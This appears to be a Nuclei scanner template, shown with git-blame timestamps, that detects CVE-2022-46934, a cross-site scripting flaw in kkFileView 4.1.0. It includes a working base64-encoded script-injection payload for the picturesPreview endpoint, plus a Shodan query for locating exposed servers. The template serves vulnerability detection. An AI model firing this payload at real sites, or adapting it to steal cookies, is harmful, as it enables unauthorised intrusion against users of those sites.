2023-03-31 11:28:24 +00:00
id : CVE-2022-46934
info :
2023-04-13 17:02:28 +00:00
name : kkFileView 4.1.0 - Cross-Site Scripting
2023-03-31 11:28:24 +00:00
author : r3Y3r53
severity : medium
description : |
2023-04-13 17:02:28 +00:00
kkFileView 4.1.0 is susceptible to cross-site scripting via the url parameter at /controller/OnlinePreviewController.java. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade to a patched version of kkFileView or apply the necessary security patches provided by the vendor.
2023-03-31 11:28:24 +00:00
reference :
2023-03-31 16:11:22 +00:00
- https://github.com/kekingcn/kkFileView/issues/411
2023-04-13 17:02:28 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-46934
2023-03-31 11:28:24 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-46934
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.00085
2023-11-01 14:45:21 +00:00
epss-percentile : 0.35419
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
2023-03-31 11:28:24 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : keking
product : kkfileview
2023-09-06 11:59:08 +00:00
shodan-query : http.html:"kkFileView"
2023-07-01 16:39:12 +00:00
tags : xss,cve,cve2022,kkfileview
2023-03-31 11:28:24 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-07-01 16:39:12 +00:00
- method : GET
path :
- "{{BaseURL}}/picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls"
2023-03-31 11:28:24 +00:00
matchers-condition : and
matchers :
- type : word
words :
2023-07-01 16:39:12 +00:00
- document.getElementById("http://");alert(document.domain);//").click();
- viewer.min.css
2023-03-31 11:28:24 +00:00
condition : and
- type : status
status :
2023-07-11 19:49:27 +00:00
- 200
2023-11-02 06:01:54 +00:00
# digest: 4a0a0047304502206c851a7ee1e9999926c3f9a8674d25963fe6b37b154e48aebd946410d34c099c022100a8883602cd4ac985c48334bd7cef639ce380b260507aa00aac4f7357c1326ee3:922c64590222798bb761d5b6d8e72950